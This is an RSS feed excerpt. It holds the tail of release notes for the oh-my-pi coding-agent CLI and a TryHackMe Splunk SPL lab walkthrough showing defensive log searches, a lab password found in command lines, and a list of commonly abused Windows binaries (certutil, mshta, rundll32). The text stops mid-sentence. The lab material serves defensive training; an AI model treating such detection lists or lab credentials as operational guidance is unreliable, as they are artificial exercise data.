<p>Fixed the animated pending border on <code>bash</code>/<code>eval</code> blocks leaving a frozen dark "bar" segment behind after a backgrounded command finalized through the async update path. Once a command is auto-backgrounded (<code>details.async.state === "running"</code>) the block stays "partial" in the TUI until the async job-manager delivers the final result, but it also gets committed to native scrollback — so a mid-sweep shimmer frame baked a stray darkened border segment into the committed copy. The border now stops animating (and the 60fps redraw loop stops) the moment a block enters the backgrounded state, so the committed frame is a clean static border.</p>
</li>
<li>
<p>Fixed cold <code>omp</code> launch to clear native terminal history on the first paint, avoiding a once-per-launch duplicate welcome/transcript copy before the normal session replay.</p>
</li>
<li>
<p>Fixed plan approval resolution so <code>resolve</code> with <code>action: "apply"</code> can still find the plan file when <code>extra.title</code> is missing or stale by falling back to the current plan path and most-recent local plan artifacts</p>
</li>
<li>
<p>Fixed the search-family tool magnifier glyph (<code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>search_tool_bm25</code>) to use the <code>accent</code> title color instead of <code>success</code> green, so the icon matches the tool title in the status header instead of standing out</p>
</li>
<li>
<p>Fixed TTSR stream interrupts to pass the matched rule name through the abort reason, so aborted in-flight tool placeholders say why they were stopped instead of <code>Request was aborted</code>.</p>
</li>
<li>
<p>Fixed URL reads for binary/special payloads to reuse local readers: remote archives list their root entries, SQLite databases show their table overview, notebooks render as editable cells, and unrenderable binary returns a metadata notice instead of decoded byte garbage.</p>
</li>
<li>
<p>Fixed pasted image-file paths that cannot be loaded to fall back to normal text paste with status feedback instead of disappearing.</p>
</li>
<li>
<p>Fixed tool-output file paths not being clickable OSC 8 <code>file://</code> hyperlinks in several renderers. <code>read</code> titles for plain text and image files (the common case) emitted no link at all because the renderer only linked when a <code>resolvedPath</code> was recorded — which the ordinary file/image read paths never set, keeping the absolute path only in <code>meta.source</code>; the renderer now falls back to that source path. <code>write</code> headers were never wrapped in a hyperlink and now link to the absolute path written (file, archive entry, SQLite, and conflict resolutions). <code>edit</code>/<code>apply_patch</code> headers wrapped the model-supplied (often cwd-relative) argument path, producing a root-anchored <code>file:///rel/path</code> URI; they now link the absolute <code>details.path</code> instead. Finally, <code>search</code>, <code>ast_grep</code>, and <code>ast_edit</code> produced doubled link targets (<code>/proj/src/src/file.ts</code>) for searches scoped to a subdirectory, because the renderer resolved the cwd-relative display paths against the scope directory rather than cwd — the scoped-search base is now the session cwd (with the scoped file's absolute path still seeding single-file body lines).</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> to recover from 401 token failures by re-minting the failing OAuth credential in place before switching accounts</p>
</li>
<li>
<p>Fixed the bash tool corrupting commands that embed multi-byte UTF-8 (e.g. <code>✓</code>/<code>×</code> inside a <code>grep -E</code> pattern) ahead of a trailing <code>| head</code>/<code>| tail</code>. The <code>bash.stripTrailingHeadTail</code> rewrite cut at char-offset positions reported by <code>brush-parser</code> while slicing the command by byte offset, so the trailing-pipe strip landed mid-pattern and dropped the closing quote — turning <code>… |✓|×|XCTAssert" | tail -80</code> into <code>… |✓|×-80</code> and making execution fail with <code>pi-natives:command: unterminated double quote</code>. Fixed in <code>pi_shell::fixup</code> (<code>@oh-my-pi/pi-natives</code>).</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> to recover from 401 token failures by re-minting the failing OAuth credential in place before switching accounts</p>
</li>
<li>
<p>Fixed duplicate file entries in grouped outputs for <code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>ast_edit</code>, and <code>lsp</code> diagnostics when the same path appeared multiple times</p>
</li>
<li>
<p>Fixed search, grep, and edit output rendering so repeated directory group blank-line boundaries no longer break nested path/link reconstruction</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> flooding the terminal with staircased, duplicated spinner/status lines (and an indented summary) when the tty has ONLCR/OPOST disabled (raw mode). The interactive progress region separated rows with a bare LF and repositioned with a column-preserving <code>\x1b[&lt;n&gt;A</code> cursor-up, both of which only land at column 0 when the terminal translates LF→CRLF; with that translation off, every 80 ms redraw cascaded down and to the right into scrollback. The live region now carriage-returns before every cleared row, terminates each row with CRLF, and caps each row to the terminal width so a wrapped line cannot desync the cursor-up from the logical line count.</p>
</li>
<li>
<p>Fixed inconsistent vertical spacing between transcript blocks: some blocks (tool results from <code>search</code>/<code>find</code> and other renderer-backed tools) rendered with a doubled gap (a leading <code>Spacer</code> plus the content box's own <code>paddingY</code>), while others (the grouped <code>read</code> card, file-mention lists, IRC cards) rendered with no gap at all. Vertical spacing is now owned entirely by the chat renderer: <code>TranscriptContainer</code> strips each block's plain-blank top/bottom edges and inserts exactly one blank line between consecutive blocks, so every block is separated by a single consistent gap regardless of which component produced it. Individual components (assistant/user/tool/read-group/bash/eval/skill/custom/hook/compaction/branch/todo-reminder/plan-review messages) no longer emit their own leading <code>Spacer</code>/<code>paddingY</code> for separation, and multi-row groups (IRC cards, file-mention lists, completed-job batches, and the bordered command/<code>/changelog</code>/<code>/context</code>/version/OAuth/debug panels) are wrapped as single <code>TranscriptBlock</code> children so the renderer spaces them as one unit. Background-colored box padding is preserved as block-internal design.</p>
</li>
<li>
<p>Fixed <code>resolve</code> with <code>action: "discard"</code> surfacing a hard <code>isError</code> "No pending action to resolve" failure to the model when the agent asked to cancel a staged action (e.g. an <code>ast_edit</code> preview) but nothing was pending. A discard is a request to reach the "no staged change" end-state, which already holds in that case, so it is now honored as a successful cancellation (<code>"Nothing to discard; no pending action remains."</code> with <code>details.action: "discard"</code>) instead of an error. <code>action: "apply"</code> with no pending action still errors.</p>
</li>
<li>
<p>Fixed the collapsed tool-output expand hint rendering double brackets (e.g. <code>((Ctrl+O for more))</code>) — the <code>EXPAND_HINT</code> text already carried its own parentheses and then <code>formatExpandHint</code> wrapped it again with the theme's bracket glyphs. The hint now resolves the key actually bound to <code>app.tools.expand</code> at render time and reads <code>⟨&lt;key&gt;: Expand⟩</code> (e.g. <code>⟨Ctrl+O: Expand⟩</code>), so a single bracket pair surrounds it and a user remap of the expand keybinding is reflected instead of a hard-coded <code>Ctrl+O</code>.</p>
</li>
<li>
<p>Fixed the <code>edit</code>/<code>apply_patch</code> tool dropping its outlined frame while streaming/in-progress (only the final result was framed); the in-progress diff preview now renders inside the same muted frame as the completed result.</p>
</li>
<li>
<p>Fixed the <code>todo</code> and <code>job</code> tools rendering a success icon and success styling on a failed/error result; error results now show the error icon and a red frame border.</p>
</li>
<li>
<p>Fixed <code>debug</code> tool refusing every <code>dlv</code> launch on Go modules. The launch handler ran <code>validateLaunchProgram</code> before adapter selection and rejected any directory program with <code>launch program resolves to a directory</code>, while dlv's default <code>mode=debug</code> requires a Go package path (a directory or <code>.go</code> source file). Adapter resolution now precedes validation, directory programs prefer adapters that advertise <code>acceptsDirectoryProgram</code> before falling back to native extensionless debuggers, the rejection only fires when the resolved adapter does not advertise that flag (set on <code>dlv</code> in <code>dap/defaults.json</code>), and dlv's <code>mode</code> is derived from the program shape — directories and <code>.go</code> files launch as <code>mode=debug</code>, other files as <code>mode=exec</code> — so <code>omp</code> can debug both Go packages and pre-built binaries (<a href="https://github.com/can1357/oh-my-pi/issues/2020" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2020/hovercard">#2020</a>).</p>
</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>applyBashFixups</code> corrupting commands that contain multi-byte UTF-8 before a trailing <code>| head</code>/<code>| tail</code> (or <code>2&gt;&amp;1</code>). <code>brush-parser</code> reports source positions as Unicode-scalar (char) offsets, but <code>pi_shell::fixup</code> sliced the command <code>&amp;str</code> by those numbers as if they were byte offsets, so each multi-byte char (e.g. <code>✓</code>/<code>×</code> in a <code>grep -E</code> pattern) shifted the cut earlier and left a mangled command — e.g. <code>… |✓|×|XCTAssert" | tail -80</code> became <code>… |✓|×-80</code>, orphaning the closing quote and making the shell reject the whole pipeline with <code>unterminated double quote</code>. Positions are now translated to byte offsets before slicing.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed Kitty temp-file image transmission, its startup support probe, the <code>PI_KITTY_IMAGE_TRANSMISSION</code> override, and the temp-file helper exports. Kitty/Ghostty image payloads now stay on in-band base64 before placeholder/direct placement, avoiding blank first renders from temp-file load races.</li>
<li>Renamed <code>RenderRequestOptions.allowUnknownViewportMutation</code> → <code>allowUnknownViewportTransientRepaint</code>. The option only permits a transient live-viewport repaint (autocomplete/IME/focused-editor chrome) on hosts that cannot report viewport position; it never authorizes a settled transcript commit. The old name implied any offscreen mutation was safe to push into native scrollback, which led callers to emit duplicate transcript copies.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>TUI.addStartListener()</code> so feature hooks can re-enable terminal modes after temporary stop/start cycles such as external-editor handoffs.</li>
<li>Added <code>Editor.pasteText()</code> to apply terminal-style paste handling for text inserted from non-bracketed paste transports</li>
<li>Added an optional <code>dispose()</code> lifecycle method to <code>Component</code> so components can release timers and subscriptions during permanent teardown</li>
<li>Added <code>Container.dispose()</code> to propagate teardown to child components when a component tree is permanently discarded</li>
<li>Added <code>Loader.dispose()</code> to stop the loader animation timer when the component is disposed</li>
<li>Added a <code>ScrollView</code> <code>ellipsis</code> option (defaults to <code>Ellipsis.Unicode</code>) so callers that pre-wrap content to width can pass <code>Ellipsis.Omit</code> and suppress the stray per-line <code>…</code> that lands on trailing padding.</li>
<li>Added <code>ScrollView.handleScrollKey()</code> plus a <code>fastScrollLines</code> option so every scroll view gets shared navigation keys, including Shift+Arrow to scroll faster.</li>
<li>Added <code>OverlayOptions.fullscreen</code>: while the topmost visible overlay sets it, the engine borrows the terminal's alternate screen buffer for the overlay's lifetime and paints only the modal there — no ED3, no transcript re-commit — so the transcript stays untouched on the normal screen and is not scrollable behind the modal. Mouse tracking (<code>?1000h</code>/<code>?1006h</code>) is enabled for the modal's lifetime and disabled on exit, so the rest of the app keeps the terminal's native text selection.</li>
<li>Added the <code>submitPinsViewportToTail</code> terminal capability and <code>detectSubmitPinsViewportToTail()</code>: genuine local terminals where a submit keystroke scrolls the host to its tail reconcile deferred native scrollback at the prompt-submit checkpoint even when the viewport position is unprobeable (Ghostty/kitty/iTerm/WezTerm/Alacritty). Restores the pre-regression submit reconciliation without re-enabling it for Windows Terminal/ConPTY, SSH, or multiplexers, where a submit is not proof the host is at the tail.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed static <code>Loader</code> messages to repaint only at the spinner's 80 ms cadence; time-dependent message colorizers can opt into 16 ms redraws with <code>animated: true</code>.</li>
<li>Changed keybinding matching to precompute canonical key sets so each input sequence is parsed once per binding check instead of once per candidate key.</li>
<li>Made <code>Component.invalidate()</code> optional so leaf components without render caches no longer need no-op invalidation hooks.</li>
<li><code>TERMINAL</code> is now a <code>RuntimeTerminal</code> whose post-construction capabilities (image protocol and the probe-driven flags) are writable, replacing the <code>as unknown as MutableTerminalInfo</code> cast pattern and the positional <code>withTerminalOverrides</code> rebuild with a prototype-preserving <code>clone()</code>.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed <code>Loader</code> text updates to skip identical messages and preserve the rendered <code>Text</code> cache instead of invalidating it every timer tick.</p>
</li>
<li>
<p>Fixed fullscreen overlay alt-frame rendering to reuse the current line-preparation path instead of calling removed fitting helpers.</p>
</li>
<li>
<p>Reduced TUI render-path line fitting by deferring overlay base-frame fitting until an overlay rebuild and by reusing already-fitted lines in emitters.</p>
</li>
<li>
<p>Reduced live-region pinned repaint output by diffing unchanged viewport rows when no sealed rows are being committed to native scrollback.</p>
</li>
<li>
<p>Fixed no-append live-region pinned repaints to re-anchor the hardware cursor when the logical viewport shifts.</p>
</li>
<li>
<p>Fixed keybinding matching so printable uppercase input preserves <code>Shift</code> for bindings such as <code>shift+a</code>.</p>
</li>
<li>
<p>Optimized terminal image-line detection and Thai/Lao AM normalization checks to avoid hot-path regex scans and substring allocations.</p>
</li>
<li>
<p>Fixed <code>Markdown.render()</code> cache hits returning the cache's mutable backing array, which let callers that append extra rows corrupt cached Markdown and duplicate those rows on every redraw.</p>
</li>
<li>
<p>Fixed first-paint full replays for callers that intentionally replace terminal history by allowing <code>TUI.start({ clearScrollback: true })</code>, so they do not briefly append an entire initial frame before the first clean replay.</p>
</li>
<li>
<p>Fixed ED3-risk streaming cap accounting to preserve the native scrollback high-water mark for rows that were already physically committed before transient frames were viewport-capped.</p>
</li>
<li>
<p>Fixed terminal stop and restore cleanup to disable enhanced paste mode so it does not remain enabled after shutdown</p>
</li>
<li>
<p>Removed the per-frame line-fit <code>Map</code> cache from the render timer path to avoid forcing JSC rope-string hashing during scheduled viewport repaints.</p>
</li>
<li>
<p>Fixed <code>visibleWidth()</code> so terminal column measurements for ANSI and OSC text now match the native truncation/wrapping helpers, including OSC 66 text-sizing spans being counted at their scaled payload width</p>
</li>
<li>
<p>Fixed cursor, padding, and line-fit behavior when strings contain tabs or OSC escapes by aligning <code>visibleWidth()</code> with the native text-width model</p>
</li>
<li>
<p>Fixed the transcript — or a re-appearing prior view such as the welcome screen — duplicating itself on terminals without a scroll-position oracle (Ghostty/kitty/iTerm/WezTerm) when a foreground tool completes by rewriting a partly-committed block, or when the transcript is reset. A non-destructive viewport repaint no longer re-paints rows that are byte-identical to what is already committed to native scrollback into the active grid; the repaint anchor is clamped to the committed-and-unchanged prefix (<code>min(firstChanged, scrollbackHighWater)</code>).</p>
</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(ai): route llama.cpp parallel tool calls by <code>item.call_id</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605305722" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2016" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2016/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2016">#2016</a></li>
<li>fix(debug): accept directory programs for dlv and auto-select dlv mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605979296" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2021" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2021/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2021">#2021</a></li>
<li>fix(ai): coerce singleton array arguments by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4606419503" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2027" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2027/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2027">#2027</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.10.0...v15.10.1"><tt>v15.10.0...v15.10.1</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Splunk Exploring SPL: A Practical SOC Analyst Walkthrough for Search, Detection, and Threat Hunting]]></title>
<description><![CDATA[Hands-on Splunk SPL walkthrough covering searching, filtering, structuring, transforming, enrichment, and anomaly detection from a practical SOC analyst perspective.Cybersecurity | Splunk | SIEM | SPL | Threat Hunting | SOC AnalysisSecurity analysts deal with overwhelming amounts of telemetry eve...]]></description>
<link>https://tsecurity.de/de/3579533/hacking/splunk-exploring-spl-a-practical-soc-analyst-walkthrough-for-search-detection-and-threat-hunting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579533/hacking/splunk-exploring-spl-a-practical-soc-analyst-walkthrough-for-search-detection-and-threat-hunting/</guid>
<pubDate>Sun, 07 Jun 2026 16:53:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Hands-on Splunk SPL walkthrough covering searching, filtering, structuring, transforming, enrichment, and anomaly detection from a practical SOC analyst perspective.</h4><h4>Cybersecurity | Splunk | SIEM | SPL | Threat Hunting | SOC Analysis</h4><p>Security analysts deal with overwhelming amounts of telemetry every single day. Authentication logs, process executions, network events, registry modifications, suspicious scripts, everything eventually becomes part of the noise.</p><p>Without the ability to efficiently search, filter, and transform that data, incident response becomes painful very quickly.</p><p>That is where Splunk’s Search Processing Language (SPL) becomes incredibly powerful.</p><p>In this walkthrough, I’ll document my practical exploration of the <em>Splunk Exploring SPL</em> TryHackMe lab while approaching it from a real-world SOC analyst perspective. Instead of simply solving flags, the focus here is understanding <em>why</em> each query matters and how similar workflows apply during actual investigations.</p><p>We’ll cover:</p><ul><li>Search &amp; Reporting fundamentals</li><li>SPL operators and filtering logic</li><li>Structuring investigation timelines</li><li>Transforming noisy logs into actionable intelligence</li><li>Threat hunting using anomaly detection</li><li>Practical enrichment techniques for analysts</li></ul><p>Let’s jump in.</p><h3>Understanding Splunk Search &amp; Reporting</h3><p>Splunk’s Search &amp; Reporting App is where analysts spend most of their investigative time.</p><p>Core interface components include:</p><ul><li>Search Head → Where SPL queries are written</li><li>Time Picker → Controls investigation scope</li><li>Search History → Useful for revisiting prior searches</li><li>Data Summary → Quick overview of available hosts, sources, and sourcetypes</li></ul><p>In a real SOC environment, selecting the wrong timeframe can completely distort findings. A suspicious event hidden in “All Time” may immediately stand out in a tighter investigation window.</p><h3>First Search: Exploring the Dataset</h3><p>The first step is always understanding what data exists.</p><p>Since this lab uses the windowslogs index, the natural starting point is a broad search.</p><h3>PAYLOAD</h3><pre>index=windowslogs</pre><p>This query tells Splunk:</p><ul><li>Search the windowslogs index</li><li>Return every matching event</li></ul><p>Think of an index like a structured data container holding a particular category of logs.</p><p>The result:</p><p>12256 total events</p><p>This immediately gives us situational awareness regarding investigation scale.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HdcCeuNSPQ9vu5qE.png"></figure><h3>Investigating the Fields Sidebar</h3><p>One of Splunk’s most useful reconnaissance tools is the Fields Sidebar.</p><p>Instead of blindly guessing field names, it helps analysts inspect:</p><ul><li>parsed fields</li><li>interesting values</li><li>top-occurring entries</li><li>numeric fields</li><li>string-based fields</li><li>event distributions</li></ul><p>This becomes incredibly useful during exploratory threat hunting.</p><p>For example, after loading the full dataset, we can inspect:</p><p>More Fields → SourceIP</p><p>to determine which source IP generated the highest activity.</p><p>That revealed:</p><p>172.90.12.11</p><p>This kind of quick pivoting is common during triage investigations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9fsKAQfWZZhC-YVR.png"></figure><h3>Time-Bounded Event Investigation</h3><p>Time filtering is one of the most important investigation skills in any SIEM.</p><p>Instead of reviewing the entire dataset, the lab required narrowing the scope to:</p><p>04/15/2022 from 08:05 AM to 08:06 AM</p><p>This returned:</p><p>134 events</p><p>A single minute of logs producing over a hundred events is a practical reminder of how noisy enterprise environments can become.</p><p>Proper time scoping often makes the difference between efficient investigation and chaos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d42iC6EJpk9u8T1p.png"></figure><h3>Search Operators in SPL</h3><p>Searching raw logs is useful, but the real strength of SPL comes from operators.</p><p>Operators allow us to:</p><ul><li>compare values</li><li>combine conditions</li><li>exclude noise</li><li>search patterns</li><li>create precise hunting logic</li></ul><h3>Free Text Search</h3><p>A quick free-text search looks like this:</p><h3>PAYLOAD</h3><pre>index=windowslogs alice</pre><p>This searches for the keyword:</p><p>alice</p><p>across the indexed events.</p><p>Free-text searching is especially useful when:</p><ul><li>exact field names are unknown</li><li>rapid exploratory hunting is needed</li><li>IOC validation begins</li></ul><p>This is often the fastest first move during incident triage.</p><h3>Relational Operators</h3><p>Splunk supports relational operators such as:</p><ul><li>=</li><li>!=</li><li>&lt;</li><li>&gt;</li><li>&lt;=</li><li>&gt;=</li></ul><p>These allow direct comparison-based filtering.</p><p>A practical example is excluding noisy system-generated events.</p><h3>Filtering SYSTEM Account Noise</h3><h3>PAYLOAD</h3><pre>index=windowslogs AccountName!=SYSTEM</pre><p>This query:</p><ul><li>searches all Windows logs</li><li>excludes events where AccountName = SYSTEM</li></ul><p>Why this matters:</p><p>SYSTEM accounts generate enormous amounts of legitimate telemetry.</p><p>Filtering them helps analysts focus on human-driven activity, where suspicious behavior is usually easier to spot.</p><h3>Successful Authentication Events</h3><p>Windows authentication investigations frequently begin with Event IDs.</p><p>For successful logons:</p><h3>PAYLOAD</h3><pre>index=windowslogs EventID=4624</pre><p>Event ID:</p><p>4624 = Successful Logon</p><p>This returned:</p><p>26 events</p><p>This query is directly relevant for:</p><ul><li>authentication investigations</li><li>brute-force review</li><li>credential abuse analysis</li><li>lateral movement detection</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VqaYnQ1Lz2XeX9T5.png"></figure><h3>Logical Operators</h3><p>Splunk also supports standard logical operators:</p><ul><li>AND</li><li>OR</li><li>NOT</li><li>IN</li></ul><p>These allow multi-condition filtering.</p><h3>Investigating Specific Network Activity</h3><p>Suppose we want to isolate traffic involving a particular host and service.</p><h3>PAYLOAD</h3><pre>index=windowslogs DestinationIp=172.18.39.6 DestinationPort=135</pre><p>This filters events involving:</p><ul><li>destination IP: 172.18.39.6</li><li>destination port: 135</li></ul><p>Returned:</p><p>4 events</p><p>Why port 135 matters:</p><p>Port 135 commonly relates to:</p><ul><li>RPC communication</li><li>Windows remote service interaction</li><li>potential lateral movement behavior</li></ul><p>That makes it interesting from a defender’s perspective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GDLzgLD9JAjejB9e.png"></figure><h3>Host-Specific Source IP Analysis</h3><p>Now let’s narrow activity further.</p><h3>PAYLOAD</h3><pre>index=windowslogs Hostname=Salena.Adam DestinationIp=172.18.38.5<br>| stats count by SourceIp</pre><p>Breakdown:</p><p>First:</p><pre>index=windowslogs Hostname=Salena.Adam DestinationIp=172.18.38.5</pre><p>Filters events involving:</p><ul><li>host Salena.Adam</li><li>destination 172.18.38.5</li></ul><p>Then:</p><pre>| stats count by SourceIp</pre><p>Groups matching events by source IP and counts occurrences.</p><p>This transforms raw logs into summarized intelligence.</p><p>Highest result:</p><p>172.90.12.11</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BVum6PdVDQKe7cYF.png"></figure><h3>Wildcard Searches</h3><p>Wildcards become useful when exact values are unknown.</p><p>Example:</p><h3>PAYLOAD</h3><pre>index=windowslogs cyber*</pre><p>This searches for terms beginning with:</p><p>cyber</p><p>Result:</p><p>12256 events</p><p>Meaning the wildcard matched the full dataset scope here.</p><p>Wildcards are useful for:</p><ul><li>IOC family matching</li><li>filename hunting</li><li>partial string searches</li><li>process pattern discovery</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m3DsHJp7egoV65nV.png"></figure><h3>Order of Evaluation in SPL</h3><p>One subtle but important SPL behavior:</p><p>OR takes precedence over AND</p><p>Example:</p><pre>alice AND bob OR charlie</pre><p>Splunk evaluates this as:</p><pre>alice AND (bob OR charlie)</pre><p>This can dramatically alter results if misunderstood.</p><p>The operator with the lowest priority:</p><p>AND</p><p>Parentheses should always be used for complex hunting logic.</p><h3>Filtering Results in SPL</h3><p>By this point, we already know how quickly raw event streams become overwhelming.</p><p>Enterprise environments generate massive telemetry continuously, and hunting for anomalies without filtering is basically self-inflicted suffering.</p><p>This is where SPL filtering commands become essential.</p><p>Rather than manually digging through thousands of events, we refine datasets step by step.</p><h3>The fields Command</h3><p>The fields command allows analysts to explicitly include or exclude fields from search results.</p><p>This improves:</p><ul><li>readability</li><li>investigation speed</li><li>focus during triage</li></ul><p>Instead of showing every extracted field, we only surface what matters.</p><h3>PAYLOAD</h3><pre>index=windowslogs<br>| fields Domain SourceProcessId TargetProcessId</pre><p>Breakdown:</p><pre>index=windowslogs</pre><p>Loads the Windows event dataset.</p><p>Then:</p><pre>| fields Domain SourceProcessId TargetProcessId</pre><p>Restricts visible output to:</p><ul><li>Domain</li><li>SourceProcessId</li><li>TargetProcessId</li></ul><p>This is incredibly useful when dealing with noisy event records containing dozens of irrelevant fields.</p><p>Result:</p><p>Highest SourceProcessId: 9496</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bLaLRYHqtqK-sBc8.png"></figure><h3>Why Process IDs Matter</h3><p>Process IDs are highly useful in endpoint investigations.</p><p>They help analysts:</p><ul><li>track parent-child execution relationships</li><li>reconstruct process trees</li><li>identify suspicious process spawning</li><li>correlate endpoint behavior</li></ul><p>Example:</p><p>If PowerShell launches cmd.exe, process relationships can reveal execution flow immediately.</p><h3>The regex Command</h3><p>Exact string matching is useful — but sometimes insufficient.</p><p>This is where regular expressions become powerful.</p><p>Splunk supports PCRE (Perl Compatible Regular Expressions), allowing pattern-based filtering.</p><h3>Registry Pattern Matching</h3><p>In this case, we wanted to locate registry-related objects ending with:</p><p>Manager</p><h3>PAYLOAD</h3><pre>index=windowslogs<br>| regex TargetObject="Manager$"</pre><p>Breakdown:</p><pre>TargetObject="Manager$"</pre><p>The $ symbol means:</p><p>end of string</p><p>So this query matches values whose final text is exactly:</p><p>Manager</p><p>Result:</p><p>HKLM\SOFTWARE\Microsoft\SecurityManager</p><p>This is especially useful for:</p><ul><li>registry hunting</li><li>persistence investigations</li><li>malware artifact analysis</li><li>inconsistent string matching</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ye_EgfDFLOJONwbA.png"></figure><h3>Structuring Results for Investigation</h3><p>Filtering reduces noise.</p><p>Structuring improves readability.</p><p>Raw logs are terrible for incident storytelling.</p><p>Structured output helps analysts quickly understand event flow.</p><h3>The table Command</h3><p>The table command creates clean, readable output using only selected fields.</p><p>This is one of the most useful commands during investigations.</p><h3>PAYLOAD</h3><pre>index=windowslogs<br>| table EventID AccountName AccountType</pre><p>This displays only:</p><ul><li>EventID</li><li>AccountName</li><li>AccountType</li></ul><p>Result:</p><p>First AccountName: SYSTEM</p><p>This is far cleaner than reading raw event blobs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J6GrcEx6dCft0wup.png"></figure><h3>Why Structured Tables Matter</h3><p>Tables are useful for:</p><ul><li>timeline analysis</li><li>investigation reporting</li><li>stakeholder communication</li><li>correlation review</li></ul><p>A readable table is far more useful than scrolling raw XML-like event data.</p><h3>Reversing Timeline Order</h3><p>Splunk usually displays newer events first.</p><p>But sometimes investigations require chronological order.</p><p>That’s where reverse helps.</p><h3>PAYLOAD</h3><pre>index=windowslogs<br>| table EventID AccountName AccountType<br>| reverse</pre><p>This flips event ordering.</p><p>Result:</p><p>First EventID: 800</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ouPOutF6hbl0-0sd.png"></figure><h3>Why Chronological Reconstruction Matters</h3><p>Attack investigations often follow sequence.</p><p>Example:</p><ol><li>Initial access</li><li>Authentication</li><li>Process execution</li><li>Credential dumping</li><li>Registry persistence</li><li>Lateral movement</li></ol><p>Chronology makes attack flow obvious.</p><h3>Timeline-Based Process Investigation</h3><p>Now let’s investigate process execution history.</p><h3>PAYLOAD</h3><pre>index=windowslogs EventID=1<br>| table _time ParentProcessId ProcessId ParentCommandLine CommandLine<br>| reverse</pre><p>Breakdown:</p><pre>EventID=1</pre><p>Focuses on process creation telemetry.</p><p>Then:</p><pre>| table</pre><p>Structures the output.</p><p>Finally:</p><pre>| reverse</pre><p>Shows oldest events first.</p><p>Displayed fields:</p><ul><li>timestamp</li><li>parent process ID</li><li>process ID</li><li>parent command line</li><li>child command line</li></ul><p>This is excellent for reconstructing execution chains.</p><h3>Credential Discovery via Command-Line Visibility</h3><p>During this timeline investigation, a credential appeared directly in process arguments.</p><p>Discovered password:</p><p>paw0rd1</p><p>This is exactly why defenders love command-line logging.</p><p>Attackers frequently expose:</p><ul><li>plaintext passwords</li><li>execution arguments</li><li>malicious scripts</li><li>tool usage</li><li>automation commands</li></ul><p>Visibility here can dramatically accelerate investigations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WcZWDQjePTxTCESf.png"></figure><h3>Transforming Commands</h3><p>Filtering narrows datasets.</p><p>Transforming commands summarize them.</p><p>Instead of thousands of raw rows, transforming searches create:</p><ul><li>statistics</li><li>trends</li><li>ranked outputs</li><li>intelligence summaries</li></ul><p>Common examples:</p><ul><li>top</li><li>stats</li><li>chart</li><li>timechart</li><li>rare</li></ul><h3>Frequency Analysis with top</h3><p>The top command identifies frequently occurring field values.</p><p>Useful for spotting dominant patterns.</p><h3>PAYLOAD</h3><pre>index=windowslogs EventID=1<br>| top Image</pre><p>Breakdown:</p><p>Focus on:</p><pre>EventID=1</pre><p>(process creation telemetry)</p><p>Then:</p><pre>| top Image</pre><p>Returns the most common executable image values.</p><p>Result:</p><pre>C:\Windows\System32\BackgroundTransferHost.exe</pre><p>This helps establish behavioral baselines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*o5xBz098hl1VXzZ4.png"></figure><h3>Why Frequency Analysis Matters</h3><p>Normal recurring binaries:</p><ul><li>explorer.exe</li><li>svchost.exe</li><li>chrome.exe</li></ul><p>Potentially suspicious recurring binaries:</p><ul><li>powershell.exe</li><li>cmd.exe</li><li>certutil.exe</li><li>rundll32.exe</li><li>mshta.exe</li></ul><p>Frequency often reveals behavioral patterns quickly.</p><h3>Geolocation Enrichment with iplocation</h3><p>Context 